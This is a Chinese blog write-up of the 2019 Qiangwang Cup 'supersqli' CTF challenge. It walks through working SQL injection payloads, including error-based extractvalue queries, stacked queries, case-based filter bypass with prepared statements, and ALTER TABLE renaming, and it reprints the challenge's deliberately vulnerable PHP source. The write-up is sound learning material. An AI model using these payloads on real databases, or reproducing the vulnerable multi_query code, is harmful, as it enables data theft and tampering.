2019强网杯"随便注"学习
文章最后更新时间为:2019年08月20日 14:56:01
好多知识不接触很容易就忘了,发现多写下来还真是好习惯。
练练ctf,发现这道题,似曾相识,当然了,还是没做出来,被自己菜哭。
题目是今年强网杯的一道题,我是在https://buuoj.cn练习的,推荐自己使用docker搭建:https://github.com/glzjin/qwb_2019_supersqli。
1. 自己解题思考的过程
打开题目是这样的:
很显然提示注入,于是尝试基本的姿势:
1. 探测有无注入
1' 报错
1'# 正常且为True
1' and 1=1# 正常且为True
1' and 1=2# 正常且为False
可以得知存在注入,并且参数使用单引号闭合。
2. 尝试获取列数
1' order by 1#
1' order by 2#
1' order by 3# 报错
得出列数为2
3. 尝试获取数据库名,用户等基本信息
一开始想试试union查询
-1' union se/**/lect null, user()#
结果提示:
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
这里过滤了select,也没有发现绕过select的地方(大小写,加注释)。
于是可以考虑一下报错注入,这里限制了update,那么就不用updatexml,用extractvalue
用户名
1' and (extractvalue(1,concat(0x7e,user(),0x7e)));#
error 1105 : XPATH syntax error: '~root@localhost~'
数据库
1' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
error 1105 : XPATH syntax error: '~supersqli~'
版本
1' and (extractvalue(1,concat(0x7e,version(),0x7e)));#
error 1105 : XPATH syntax error: '~10.3.15-MariaDB~'
到这里可以查出简单的信息,但是过滤了select,似乎无法进一步查表查列了。
2. 利用堆叠注入绕过过滤
对堆叠注入不是特别熟悉,看了writeup才有恍然大悟的感觉。
就是一次执行多个命令。
1. 接下来我们尝试堆叠注入能否可行。
-1';show tables#
结果:
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
2. 堆叠注入可行,然后看一下表的字段
-1';desc `1919810931114514`#
-1';desc `words`#
# 也可以用以下方式
-1';show columns from `1919810931114514`#
-1';show columns from `words`#
# 注意,以上表名要加反引号
结果:
3. 查数据
上一步我们可以得知flag存在于supersqli数据库中的1919810931114514表的flag字段。
接下来要读取此字段内的数据,我们要执行的目标语句是:
select * from `1919810931114514`;
这里需要绕过select的限制,我们可以使用预编译的方式。
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
直接看payload就懂了:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
结果为:
strstr($inject, "set") && strstr($inject, "prepare")
这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#
结果为:
绕过select还有第二个方法,更改表名列名。
由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
select * from words where id = '';
我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
修改表名和列名的语法如下:
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);
最终payload如下:
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
然后使用1' or 1=1#
即可查询出flag
3. 题目源码分析
从上面的docker里面可以看到题目的源码如下:
<html>
<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
</pre>
</body>
</html>
很明显的地方,使用multi_query()执行一条或多条sql语句,然后将结果全部输出。
总之看到multi_query()就多长个心眼吧。
写的很好,真的是很好,非常详细,萌新学到了东西,我在我的博客转了一篇,师傅觉得不太好我可以删掉
@wh1sper 没问题
非技术的路过。